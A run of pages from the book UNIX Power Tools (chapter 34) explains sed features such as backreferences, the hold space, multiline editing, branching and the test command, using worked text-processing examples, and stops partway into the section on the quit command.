The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.10 Referencing Portions of a Search String

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.9 Referencing the Search String in a Replacement Chapter 34
The sed Stream Editor 		Next: 34.11 Search & Replacement: One Match Among Many

34.10 Referencing Portions of a Search String

In sed, the substitution command provides metacharacters to select any individual portion of a string that is matched and recall it in the replacement string. A pair of escaped parentheses are used in sed to enclose any part of a regular expression and save it for recall. Up to nine "saves" are permitted for a single line. \n is used to recall the portion of the match that was saved, where n is a number from 1 to 9 referencing a particular "saved" string in order of use. (The section of article 26.4 called "Remembering Patterns with \(, \), and \1" has more information.)

For example, to embolden the section numbers when they appeared as a cross reference, we could write the following substitution:

s/\(See Section \)\([1-9][0-9]*\.[1-9][0-9]*\)/\1\\fB\2\\fP/

Two pairs of escaped parentheses are specified. The first captures "See Section" (because this is a fixed string, it could have been simply retyped in the replacement string). The second captures the section number. The replacement string recalls the first saved substring as \1 and the second as \2, which is surrounded by bold-font requests - for example, See Section \fB12.9\fP.

We can use a similar technique to match parts of a line and swap them. For instance, let's say there are two parts of a line separated by a colon. We can match each part, putting them within escaped parentheses and swapping them in the replacement:

% cat test1
first:second
one:two
% sed 's/\(.*\):\(.*\)/\2:\1/' test1
second:first
two:one

The larger point is that you can recall a saved substring in any order, and multiple times.

Articles 13.11, 14.9, 16.6, 18.9, 45.30, and 51.3 have examples.

- DD from O'Reilly & Associates' sed & awk, Chapter 5

Previous: 34.9 Referencing the Search String in a Replacement | UNIX Power Tools | Next: 34.11 Search & Replacement: One Match Among Many
34.9 Referencing the Search String in a Replacement | Book Index | 34.11 Search & Replacement: One Match Among Many
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.11 Search & Replacement: One Match Among Many

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.10 Referencing Portions of a Search String Chapter 34
The sed Stream Editor 		Next: 34.12 Transformations on Text

34.11 Search & Replacement: One Match Among Many

One of the more unusual options of sed's substitution command is the numeric flag that allows you to point to one particular match when there are many possible matches on a particular line. It is used where a pattern repeats itself on a line and the replacement must be made for only one of those occurrences by position. For instance, a line, perhaps containing tbl input, might contain multiple tabs. Let's say that there are three tabs per line, and you'd like to replace the second tab with >. The following substitute command would do it:

s/[TAB]/>/2

[TAB] represents an actual tab character, which is otherwise invisible on the screen. If the input is a one-line file such as the following:

Column1[TAB]Column2[TAB]Column3[TAB]Column4

the output produced by running the script on this file will be:

Column1[TAB]Column2>Column3[TAB]Column4

Note that without the numeric flag, the substitute command would replace only the first tab. (Therefore, 1 can be considered the default numeric flag.) The range of the numeric value is from 1 to 512.

- DD from O'Reilly & Associates' sed & awk, Chapter 5

Previous: 34.10 Referencing Portions of a Search String | UNIX Power Tools | Next: 34.12 Transformations on Text
34.10 Referencing Portions of a Search String | Book Index | 34.12 Transformations on Text
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.12 Transformations on Text

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.11 Search & Replacement: One Match Among Many Chapter 34
The sed Stream Editor 		Next: 34.13 Hold Space: The Set-Aside Buffer

34.12 Transformations on Text

The transform command (y) is useful for exchanging lowercase letters for uppercase letters on a line. Effectively, it performs a similar function to tr (35.11). It replaces any character found in the first string with the equivalent character in the second string. The command:

y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/

will convert any lowercase letter into the corresponding uppercase letter. The following:

y/abcdefghijklmnopqrstuvwxyz/nopqrstuvwxyzabcdefghijklm/

would perform a rot13 transformation - a simple form of encryption in which each alphabetic character is replaced by the character halfway through the alphabet. (rot13 encryption is sometimes used to keep offensive news postings (1.33) from being read except by someone who really means to. Encryption and decryption are automatically supported by most news readers, but it's fun to see how simple the encryption is. By the way, the command above handles only lowercase letters; if we'd shown uppercase as well, the command would have run past the margins!)

- TOR

Previous: 34.11 Search & Replacement: One Match Among Many | UNIX Power Tools | Next: 34.13 Hold Space: The Set-Aside Buffer
34.11 Search & Replacement: One Match Among Many | Book Index | 34.13 Hold Space: The Set-Aside Buffer
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.13 Hold Space: The Set-Aside Buffer

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.12 Transformations on Text Chapter 34
The sed Stream Editor 		Next: 34.14 Transforming Part of a Line

34.13 Hold Space: The Set-Aside Buffer

The pattern space is a buffer (52.9) that contains the current input line. There is also a set-aside buffer called the hold space. The contents of the pattern space can be copied to the hold space, and the contents of the hold space can be copied to the pattern space. A group of commands allows you to move data between the hold space and the pattern space. The hold space is used for temporary storage, and that's it. Individual commands can't address the hold space or alter its contents.

The most frequent use of the hold space is to have it retain a duplicate of the current input line while you change the original in the pattern space. [It's also used as a way to do the "move" and "copy" commands that most editors have - but which sed can't do directly because it's designed for editing a stream of input text line-by-line. -GU ] The commands that affect the hold space are:

Hold | h or H | Copy or append contents of pattern space to hold space.
Get | g or G | Copy or append contents of hold space to pattern space.
Exchange | x | Swap contents of hold space and pattern space.

Each of these commands can take an address that specifies a single line or a range of lines. The hold commands (h,H ) move data into the hold space and the get commands (g,G ) move data from the hold space back into the pattern space. The difference between the lowercase and uppercase versions of the same command is that the lowercase command overwrites the contents of the target buffer, while the uppercase command appends to the existing contents. The hold command replaces the contents of the hold space with the contents of the pattern space. The get command replaces the contents of the pattern space with the contents of the hold space.

The Hold command puts a newline followed by the contents of the pattern space after the contents of the hold space. (The newline is appended to the hold space even if the hold space is empty.) The Get command puts a newline followed by the contents of the hold space after the contents of the pattern space.

The exchange command (x) swaps the contents of the two buffers. It has no side effects on either buffer.

Here's an example to illustrate putting lines into the hold space and retrieving them later. We are going to write a script that reads a particular HTML file and copies all headings to the end of the file for a summary. The headings we want start with <H1> or <H2>. For example:

...
<BODY>
<H1>Introduction</H1>
The blah blah blah
<H1>Background of the Project</H1>
   ...
<H2>The First Year</H2>
   ...
<H2>The Second Year</H2>
   ...
</BODY>

The object is to copy those headings into the hold space as sed reads them. When sed reaches the end of the body (at the </BODY> tag), output Summary:; then output the saved tags, without the heading tags (<H1> or <H2>).

Look at the script:

/^<H[12]>/H
/^<\/BODY>/ {
    i\
<STRONG>Summary:</STRONG>
    x
    G
    s/<\/*H[12]>//g
}

Any line matching <H1> or <H2> is added to the hold space. (All those lines are also printed; that's the default in sed unless lines have been deleted.) The last part of the script watches for the </BODY> tag. When it's reached, sed inserts the Summary: heading. Then the script uses x to exchange the pattern space (which has the </BODY> tag) with the saved headers from the hold space. Now the pattern space has the saved headers. Next, a G adds the </BODY> tag to the end of the headers in the pattern space. Finally, a substitute command strips the <H1>, </H1>, <H2>, and </H2> tags. At the end of the script, the pattern space is printed by default.

The sequence of x followed by G is a way to find a matching line - in this case, </BODY>-and insert the contents of the hold space before the matched line. In other words, it's like an i command that inserts the hold space at the current line.

The script could do more cleanup and formatting. For instance, it could make the saved headings into a list with <UL> and <LI>. But this example is mostly about the hold space.

Here's the result of running the script on the sample file:

% sed -f sedscr report.html
   ...
<BODY>
<H1>Introduction</H1>
The blah blah blah
<H1>Background of the Project</H1>
   ...
<H2>The First Year</H2>
   ...
<H2>The Second Year</H2>
   ...
<STRONG>Summary:</STRONG>

Introduction
Background of the Project
The First Year
The Second Year
</BODY>

For other scripts that use the hold space, see articles 34.17 and 25.12. For a fanciful analogy that makes clear how it works, see article 34.16.

- DD, JP

Previous: 34.12 Transformations on Text | UNIX Power Tools | Next: 34.14 Transforming Part of a Line
34.12 Transformations on Text | Book Index | 34.14 Transforming Part of a Line
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.14 Transforming Part of a Line

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.13 Hold Space: The Set-Aside Buffer Chapter 34
The sed Stream Editor 		Next: 34.15 Making Edits Across Line Boundaries

34.14 Transforming Part of a Line

The transform command, y (34.12), acts on the entire contents of the pattern space. It is something of a chore to do a letter-by-letter transformation of a portion of the line, but it is possible (though convoluted) as the following example will demonstrate. [The real importance of this example is probably not the use of the y command, but the use of the hold space to isolate and preserve part of the line. -TOR ]

While working on a programming guide, we found that the names of statements were entered inconsistently. They needed to be uppercase, but some were lowercase while others had an initial capital letter. While the task was simple - to capitalize the name of the statement - there were nearly a hundred statements and it seemed a tedious project to write that many explicit substitutions of the form:

s/find the Match statement/find the MATCH statement/g

The transform command could do the lowercase-to-uppercase conversion but it applies the conversion to the entire line. The hold space makes this task possible because we use it to store a copy of the input line while we isolate and convert the statement name in the pattern space. Look at the script first:

# capitalize statement names
/the .* statement/{
    h
    s/.*the \(.*\) statement.*/\1/
    y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/
    G
    s/\(.*\)\n\(.*the \).*\( statement.*\)/\2\1\3/
}

The address limits the procedure to lines that match the .* statement. Let's look at what each command does:

h

The hold command copies the current input line into the hold space. Using the sample line find the Match statement, we'll show what the contents of the pattern space and hold space contain. After the h command, both the pattern space and the hold space are identical.

Pattern space: find the Match statement
Hold space: find the Match statement

s/.*the \(.*\) statement.*/\1/

The substitute command extracts the name of the statement from the line and replaces the entire line with it.

Pattern space: Match
Hold space: find the Match statement

y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/

The transform command changes each lowercase letter to an uppercase letter.

Pattern space: MATCH
Hold space: find the Match statement

G

The Get command appends the line saved in the hold space to the pattern space. The embedded newline from the Get command is shown as \n.

Pattern space: MATCH\nfind the Match statement
Hold space: find the Match statement

s/\(.*\)\n\(.*the \).*\( statement.*\)/\2\1\3/

The substitute command matches three different parts of the pattern space: (1) all characters up to the embedded newline, (2) all characters following the embedded newline and up to and including the followed by a space, and (3) all characters beginning with a space and followed by statement up to the end of the pattern space. The name of the statement as it appeared in the original line is matched but not saved. The replacement section of this command recalls the saved portions and reassembles them in a different order, putting the capitalized name of the command in between the and statement.

Pattern space: find the MATCH statement
Hold space: find the Match statement

Let's look at a test run. Here's our sample file:

find the Match statement
Consult the Get statement.
using the Read statement to retrieve data

Running the script on the sample file produces:

find the MATCH statement
Consult the GET statement.
using the READ statement to retrieve data

As you can see from this script, the hold space can be skillfully used to isolate and manipulate portions of the input line.

- DD from O'Reilly & Associates' sed & awk

Previous: 34.13 Hold Space: The Set-Aside Buffer | UNIX Power Tools | Next: 34.15 Making Edits Across Line Boundaries
34.13 Hold Space: The Set-Aside Buffer | Book Index | 34.15 Making Edits Across Line Boundaries
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.15 Making Edits Across Line Boundaries

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.14 Transforming Part of a Line Chapter 34
The sed Stream Editor 		Next: 34.16 The Deliberate Scrivener

34.15 Making Edits Across Line Boundaries

Most programs that use regular expressions (26.4) are able to match a pattern only on a single line of input. This makes it difficult to find or change a phrase, for instance, because it can start near the end of one line and finish near the beginning of the next line. Other patterns might be significant only when repeated on multiple lines.

sed has the ability to load more than one line into the pattern space. This allows you to match (and change) patterns that extend over multiple lines. In this article, we show how to create a multiline pattern space and manipulate its contents.

The multiline Next command, N, creates a multiline pattern space by reading a new line of input and appending it to the contents of the pattern space. The original contents of the pattern space and the new input line are separated by a newline. The embedded newline character can be matched in patterns by the escape sequence \n. In a multiline pattern space, only the metacharacter ^ matches the newline at the beginning of the pattern space and $ matches the newline at the end. After the Next command is executed, control is then passed to subsequent commands in the script.

The Next command differs from the next command, n, which outputs the contents of the pattern space and then reads a new line of input. The next command does not create a multiline pattern space.

For our first example, let's suppose that we wanted to change "Owner and Operator Guide" to "Installation Guide" but we found that it appears in the file on two lines, splitting between Operator and Guide. For instance, here are a few lines of sample text:

Consult Section 3.1 in the Owner and Operator
Guide for a description of the tape drives
available on your system.

The following script looks for Operator at the end of a line, reads the next line of input, and then makes the replacement:

/Operator$/{
    N
    s/Owner and Operator\nGuide/Installation Guide/
}

In this example, we know where the two lines split and where to specify the embedded newline. When the script is run on the sample file, it produces the two lines of output, one of which combines the first and second lines and is too long to show here. This happens because the substitute command matches the embedded newline but does not replace it. Unfortunately, you cannot use \n to insert a newline in the replacement string. You must either use the backslash to escape the newline, as follows:

s/Owner and Operator\nGuide /Installation Guide\
/

or use the \(..\) operators (34.10) to keep the newline:

s/Owner and Operator\(\n\)Guide /Installation Guide\1/

This command restores the newline after Installation Guide. It is also necessary to match a blank space following Guide so the new line won't begin with a space. Now we can show the output:

Consult Section 3.1 in the Installation Guide
for a description of the tape drives
available on your system.

Remember, you don't have to replace the newline, but if you don't, it can make for some long lines.

What if there are other occurrences of "Owner and Operator Guide" that break over multiple lines in different places? You could change the address to match Owner, the first word in the pattern instead of the last, and then modify the regular expression to look for a space or a newline between words, as shown below:

/Owner/{
N
s/Owner *\n*and *\n*Operator *\n*Guide/Installation Guide/
}

The asterisk (*) indicates that the space or newline is optional. This seems like hard work though, and indeed there is a more general way. We can read the newline into the pattern space and then use a substitute command to remove the embedded newline, wherever it is:

s/Owner and Operator Guide/Installation Guide/
/Owner/{
N
s/ *\n/ /
s/Owner and Operator Guide */Installation Guide\
/
}

The first line of the script matches Owner and Operator Guide when it appears on a line by itself. (See the discussion at the end of the article about why this is necessary.) If we match the string Owner, we read the next line into the pattern space and replace the embedded newline with a space. Then we attempt to match the whole pattern and make the replacement followed by a newline. This script will match Owner and Operator Guide regardless of how it is broken across two lines. Here's our expanded test file:

Consult Section 3.1 in the Owner and Operator
Guide for a description of the tape drives
available on your system.

Look in the Owner and Operator Guide shipped with your system.

Two manuals are provided, including the Owner and
Operator Guide and the User Guide.

The Owner and Operator Guide is shipped with your system.

Running the above script on the sample file produces the following result:

% sed -f sedscr sample
Consult Section 3.1 in the Installation Guide
for a description of the tape drives
available on your system.

Look in the Installation Guide shipped with your system.

Two manuals are provided, including the Installation Guide
and the User Guide.

The Installation Guide is shipped with your system.

In this sample script, it might seem redundant to have two substitute commands that match the pattern. The first command matches it when the pattern is found already on one line, and the second matches the pattern after two lines have been read into the pattern space. Why the first command is necessary is perhaps best demonstrated by removing that command from the script and running it on the sample file:

% sed -f sedscr2 sample
Consult Section 3.1 in the Installation Guide
for a description of the tape drives
available on your system.

Look in the Installation Guide
shipped with your system.
Two manuals are provided, including the Installation Guide
and the User Guide.

Do you see the two problems? The most obvious problem is that the last line did not print. The last line matches Owner, and when N is executed, there is not another input line to read, so sed quits. It does not even output the line. If this is the normal behavior, the Next command should be used as follows to be safe:

$!N

It excludes the last line ($) from the Next command. As it is in our script, by matching Owner and Operator Guide on the last line, we avoid matching Owner and applying the N command. However, if the word Owner appeared on the last line we'd have the same problem unless we implement the $!N syntax.

The second problem is a little less conspicuous. It has to do with the occurrence of Owner and Operator Guide in the second paragraph. In the input file, it is found on a line by itself:

Look in the Owner and Operator Guide shipped with your system.

In the output shown above, the blank line following shipped with your system is missing. The reason for this is that this line matches Owner and the next line, a blank line, is appended to the pattern space. The substitute command removes the embedded newline, and the blank line has in effect vanished. (If the line were not blank, the newline would still be removed but the text would appear on the same line with shipped with your system.) The best solution seems to be to avoid reading the next line when the pattern can be matched on one line. So, that is why the first instruction attempts to match the case where the string appears all on one line.

- DD from O'Reilly & Associates' sed & awk, Chapter 6

Previous: 34.14 Transforming Part of a Line | UNIX Power Tools | Next: 34.16 The Deliberate Scrivener
34.14 Transforming Part of a Line | Book Index | 34.16 The Deliberate Scrivener
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.16 The Deliberate Scrivener

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.15 Making Edits Across Line Boundaries Chapter 34
The sed Stream Editor 		Next: 34.17 Searching for Patterns Split Across Lines

34.16 The Deliberate Scrivener

The operations of sed's most difficult commands - hold (h or H), get (g or G), and exchange (x)-can be explained, somewhat fancifully, in terms of an extremely deliberate medieval scrivener or amanuensis toiling to make a copy of a manuscript. His work is bound by several spatial restrictions: the original manuscript is displayed in one room; the set of instructions for copying the manuscript are stored in a middle room; and the quill, ink, and folio are set up in yet another room. The original manuscript as well as the set of instructions are written in stone and cannot be moved about. The dutiful scrivener, being sounder of body than mind, is able to make a copy by going from room to room, working on only one line at a time. Entering the room where the original manuscript is, he removes from his robes a scrap of paper to take down the first line of the manuscript. Then he moves to the room containing the list of editing instructions. He reads each instruction to see if it applies to the single line he has scribbled down.

Each instruction, written in special notation, consists of two parts: a pattern and a procedure. The scrivener reads the first instruction and checks the pattern against his line. If there is no match, he doesn't have to worry about the procedure, so he goes to the next instruction. If he finds a match, then the scrivener follows the action or actions specified in the procedure.

He makes the edit on his piece of paper before trying to match the pattern in the next instruction. Remember, the scrivener has to read through a series of instructions, and he reads all of them, not just the first instruction that matches the pattern. Because he makes his edits as he goes, he is always trying to match the latest version against the next pattern; he doesn't remember the original line.

When he gets to the bottom of the list of instructions, and has made any edits that were necessary on his piece of paper, he goes into the next room to copy out the line. (He doesn't need to be told to print out the line.) After that is done, he returns to the first room and takes down the next line on a new scrap of paper. When he goes to the second room, once again he reads every instruction from first to last before leaving.

This is what he normally does, that is, unless he is told otherwise. For instance, before he starts, he can be told not to write out every line (the -n option). In this case, he must wait for an instruction that tells him to print (p). If he does not get that instruction, he throws away his piece of paper and starts over. By the way, regardless of whether or not he is told to write out the line, he always gets to the last instruction on the list.

Let's look at other kinds of instructions the scrivener has to interpret. First of all, an instruction can have zero, one, or two patterns specified:

  • If no pattern is specified, then the same procedure is followed for each line.

  • If there is only one pattern, he will follow the procedure for any line matching the pattern.

  • If a pattern is followed by a !, then the procedure is followed for all lines that do not match the pattern.

  • If two patterns are specified, the actions described in the procedure are performed on the first matching line and all succeeding lines until a line matches the second pattern.

The scrivener can work on only one line at a time, so you might wonder how he handles a range of lines. Each time he goes through the instructions, he tries to match only the first of two patterns. Now, after he has found a line that matches the first pattern, each time through with a new line he tries to match the second pattern. He interprets the second pattern as pattern!, so that the procedure is followed only if there is no match. When the second pattern is matched, he starts looking again for the first pattern.

Each procedure contains one or more commands or actions. Remember, if a pattern is specified with a procedure, the pattern must be matched before the procedure is executed. We have already shown many of the usual commands that are similar to other editing commands. However, there are several highly unusual commands.

For instance, the N command tells the scrivener to go, right now, and get another line, adding it to the same piece of paper. The scrivener can be instructed to "hold" on to a single piece of scrap paper. The h command tells him to make a copy of the line on another piece of paper and put it in his pocket. The x command tells him to exchange the extra piece of paper in his pocket with the one in his hand. The g command tells him to throw out the paper in his hand and replace it with the one in his pocket. The G command tells him to append the line he is holding to the paper in front of him. If he encounters a d command, he throws out the scrap of paper and begins again at the top of the list of instructions. A D command has effect when he has been instructed to append two lines on his piece of paper. The D command tells him to delete the first of those lines.

If you want the analogy converted back to computers, the first and last rooms in this medieval manor are standard input and standard output. Thus, the original file is never changed. The line on the scrivener's piece of scrap paper is in the pattern space; the line on the piece of paper that he holds in his pocket is in the hold space. The hold space allows you to retain a duplicate of a line while you change the original in the pattern space.

Article 34.17 shows a practical application of the scrivener's work, a sed program that searches for a particular phrase that might be split across two lines.

- DD

Previous: 34.15 Making Edits Across Line Boundaries | UNIX Power Tools | Next: 34.17 Searching for Patterns Split Across Lines
34.15 Making Edits Across Line Boundaries | Book Index | 34.17 Searching for Patterns Split Across Lines
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.17 Searching for Patterns Split Across Lines

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.16 The Deliberate Scrivener Chapter 34
The sed Stream Editor 		Next: 34.18 Multiline Delete

34.17 Searching for Patterns Split Across Lines

[Article 27.11 introduced a script called cgrep.sed, a general-purpose, grep-like program built with sed. It allows you to look for one or more words that appear on one line or across several lines. This article explains the sed tricks that are necessary to do this kind of thing. It gets into territory that is essential for any advanced applications of this obscure yet wonderful editor. (Articles 34.13 through 34.16 have background information.) -JP]

Let's review the two examples from article 27.11. The first command below finds all lines containing the word system in the file main.c, and shows 10 additional lines of context above and below each match. The second command finds all occurrences of the word "awk" where it is followed by the word "perl" somewhere within the next 3 lines:

cgrep -10 system main.c
cgrep -3 "awk.*perl"

Now the script, followed by an explanation of how it works:

case
expr

${?}

"$@"
#!/bin/sh
#  cgrep - multiline context grep using sed
#  Usage: cgrep [-context] pattern [file...]

n=3
case $1 in -[1-9]*)
    n=`expr 1 - "$1"`
    shift
esac
re=${1?}; shift

sed -n "
    1b start
    : top
    \~$re~{
        h; n; p; H; g
        b endif
    }
        N
        : start
        //{ =; p; }
    : endif
    $n,\$D
    b top
" "$@"

The sed script is embedded in a bare-bones shell wrapper (44.14) to parse out the initial arguments because, unlike awk and perl, sed cannot directly access command-line parameters. If the first argument looks like a -context option, variable n is reset to one more than the number of lines specified, using a little trick - the argument is treated as a negative number and subtracted from 1. The pattern argument is then stored in $re, with the ${1?} syntax causing the shell to abort with an error message if no pattern was given. Any remaining arguments are passed as filenames to the sed command.

So that the $re and $n parameters can be embedded, the sed script is enclosed in double quotes (8.14). We use the -n option because we don't want to print out every line by default, and because we need to use the n command in the script without its side effect of outputting a line.

The sed script itself looks rather unstructured (it was actually designed using a flowchart), but the basic algorithm is easy enough to understand. We keep a "window" of n lines in the pattern space and scroll this window through the input stream. If an occurrence of the pattern comes into the window, the entire window is printed (providing n lines of previous context), and each subsequent line is printed until the pattern scrolls out of view again (providing n lines of following context). The sed idiom N;D is used to advance the window, with the D not kicking in until the first n lines of input have been accumulated.

The core of the script is basically an if-then-else construct that decides if we are currently "in context." (The regular expression here is delimited by tilde (~) characters because tildes are less likely to occur in the user-supplied pattern than slashes.) If we are still in context, then the next line of input is read and output, temporarily using the hold space to save the window (and effectively doing an N in the process). Else we append the next input line (N) and search for the pattern again (an empty regular expression means to reuse the last pattern). If it's now found, then the pattern must have just come into view - so we print the current line number followed by the contents of the window. Subsequent iterations will take the "then" branch until the pattern scrolls out of the window.

- GU

Previous: 34.16 The Deliberate Scrivener | UNIX Power Tools | Next: 34.18 Multiline Delete
34.16 The Deliberate Scrivener | Book Index | 34.18 Multiline Delete
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.18 Multiline Delete

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.17 Searching for Patterns Split Across Lines Chapter 34
The sed Stream Editor 		Next: 34.19 Making Edits Everywhere Except...

34.18 Multiline Delete

The sed delete command, d, deletes the contents of the pattern space (34.13) and causes a new line of input to be read, with editing resuming at the top of the script. The Delete command, D, works slightly differently: it deletes a portion of the pattern space, up to the first embedded newline. It does not cause a new line of input to be read; instead, it returns to the top of the script, applying these instructions to what remains in the pattern space. We can see the difference by writing a script that looks for a series of blank lines and outputs a single blank line. The version below uses the delete command:

# reduce multiple blank lines to one; version using d command
/^$/{
   N
   /^\n$/d
}

When a blank line is encountered, the next line is appended to the pattern space. Then we try to match the embedded newline. Note that the positional metacharacters, ^ and $, match the beginning and the end of the pattern space, respectively. Here's a test file:

This line is followed by 1 blank line.

This line is followed by 2 blank lines.

This line is followed by 3 blank lines.

This line is followed by 4 blank lines.

This is the end.

Running the script on the test file produces the following result:

% sed -f sed.blank test.blank
This line is followed by 1 blank line.

This line is followed by 2 blank lines.
This line is followed by 3 blank lines.

This line is followed by 4 blank lines.
This is the end.

Where there was an even number of blank lines, all the blank lines were removed. Only when there was an odd number was a single blank line preserved. That is because the delete command clears the entire pattern space. Once the first blank line is encountered, the next line is read in, and both are deleted. If a third blank line is encountered, and the next line is not blank, the delete command is not applied, and thus a blank line is output. If we use the multiline Delete command, we get a different result, and the one that we wanted:

/^\n$/D

The reason the multiline Delete command gets the job done is that when we encounter two blank lines, the Delete command removes only the first of the two. The next time through the script, the blank line will cause another line to be read into the pattern space. If that line is not blank, then both lines are output, thus ensuring that a single blank line will be output. In other words, when there are two blank lines in the pattern space, only the first is deleted. When a blank line is followed by text, the pattern space is output normally.

- DD from O'Reilly & Associates' sed & awk, Chapter 6

Previous: 34.17 Searching for Patterns Split Across Lines | UNIX Power Tools | Next: 34.19 Making Edits Everywhere Except...
34.17 Searching for Patterns Split Across Lines | Book Index | 34.19 Making Edits Everywhere Except...
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.19 Making Edits Everywhere Except...

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.18 Multiline Delete Chapter 34
The sed Stream Editor 		Next: 34.20 The sed Test Command

34.19 Making Edits Everywhere Except...

There are two ways in sed to avoid specified portions of a document while making the edits everywhere else. You can use the ! command to specify that the edit applies only to lines that do not match the pattern. Another approach is to use the b (branch) command to skip over portions of the editing script. Let's look at an example.

As described in article 43.21, we use sed to preprocess the input to troff so that double dashes (--) are converted automatically to em-dashes ( - ) and straight quotes ("") are converted to curly quotes (""). However, program examples in technical books are usually shown in a constant-width font that clearly shows each character as it appears on the computer screen. When typesetting a document, we don't want sed to apply the same editing rules within these examples as it does to the rest of the document. For instance, straight quotes should not be replaced by curly quotes.

Because program examples are set off by a pair of macros (something like .ES and .EE, for "Example Start" and "Example End"), we can use those as the basis for exclusion.

So you can say:

/^\.ES/,/^\.EE/!{
   s/^"/``/
       ...
   s/\\(em"/\\(em``/g
}

All of the commands enclosed in braces ({}) will be subject to the initial pattern address.

There is another way to accomplish the same thing. The b command allows you to transfer control to another line in the script that is marked with an optional label. Using this feature, you could write the above script like this:

/^\.ES/,/^\.EE/bend
s/^"/``/
   ...
s/\\(em"/\\(em``/g
:end

A label consists of a colon (:), followed by up to seven characters. If the label is missing, the b command branches to the end of the script. (In the example above, the label end was included just to show how to use one, but a label is not really necessary here.)

The b command is designed for flow control within the script. It allows you to create subscripts that will only be applied to lines matching certain patterns and will not be applied elsewhere. However, as in this case, it also provides a powerful way to exempt part of the text from the action of a single-level script.

The advantage of b over ! for this application is that you can more easily specify multiple conditions to avoid. The ! command can be applied to a single command or to the set of commands, enclosed in braces, that immediately follows. On the other hand, b gives you almost unlimited control over movement around the script.

- TOR

Previous: 34.18 Multiline Delete | UNIX Power Tools | Next: 34.20 The sed Test Command
34.18 Multiline Delete | Book Index | 34.20 The sed Test Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.20 The sed Test Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.19 Making Edits Everywhere Except... Chapter 34
The sed Stream Editor 		Next: 34.21 Uses of the sed Quit Command

34.20 The sed Test Command

The test command, t, branches to a label (or the end of the script) if a successful substitution has been made on the currently addressed line. It implies a conditional branch. Its syntax is as follows:

[address]t[label]

If no label is supplied, control falls through to the end of the script. If label is supplied, then execution resumes at the line following the label.

Let's look at a spelling corrector written by Greg Ubben. The script fixes common (in this example, silly) spelling goofs; the t command tells about corrections that were made:

h
s/seperate/separate/g
s/compooter/computer/g
s/said editor/sed editor/g
s/lable/label/g
t changed
b
: changed
p
g
s/.*/[WAS: &]/
t

First, h (34.13) holds a copy of the current input line. Then, if any of the four substitutions succeed, the command t changed branches to the corresponding label (: changed) at the end of the script. Otherwise, if no s succeeded, the b command restarts the script on the next line (as always in sed, the input line is printed before the script re-starts).

After the label, the script prints the current input line (the line with a spelling error - which, by now, has been corrected). Then g (34.13) gets the original uncorrected line. An s command brackets that line [WAS: xxx]. Here's some sample output:

$ sed -f sedscr afile
This is a separate test.
[WAS: This is a seperate test.]
I put a label on my computer!
[WAS: I put a lable on my compooter!]
That's all for now.

The final t in the script is a work-around for a bug in some versions of sed. Greg says "The t flag is supposed to be reset after either the t command is executed or a new line of input is read, but some versions of sed don't reset it on a new line of input. So I added a do-nothing t to make sure it's reset after the previous always-true s///." Try the script without the extra t; if adding it makes the script work right, your sed has the bug and you might try a new version, like GNU gsed.

- JP, DD

Previous: 34.19 Making Edits Everywhere Except... | UNIX Power Tools | Next: 34.21 Uses of the sed Quit Command
34.19 Making Edits Everywhere Except... | Book Index | 34.21 Uses of the sed Quit Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.21 Uses of the sed Quit Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.20 The sed Test Command Chapter 34
The sed Stream Editor 		Next: 34.22 Dangers of the sed Quit Command

34.21 Uses of the sed Quit Command

The quit command, q, causes sed to stop reading new input lines (and stop sending them to the output). Its syntax is:

[line-address]q

Warning! It can take only a single-line address. Once the line matching address (line-address) is reached, the script will be terminated.

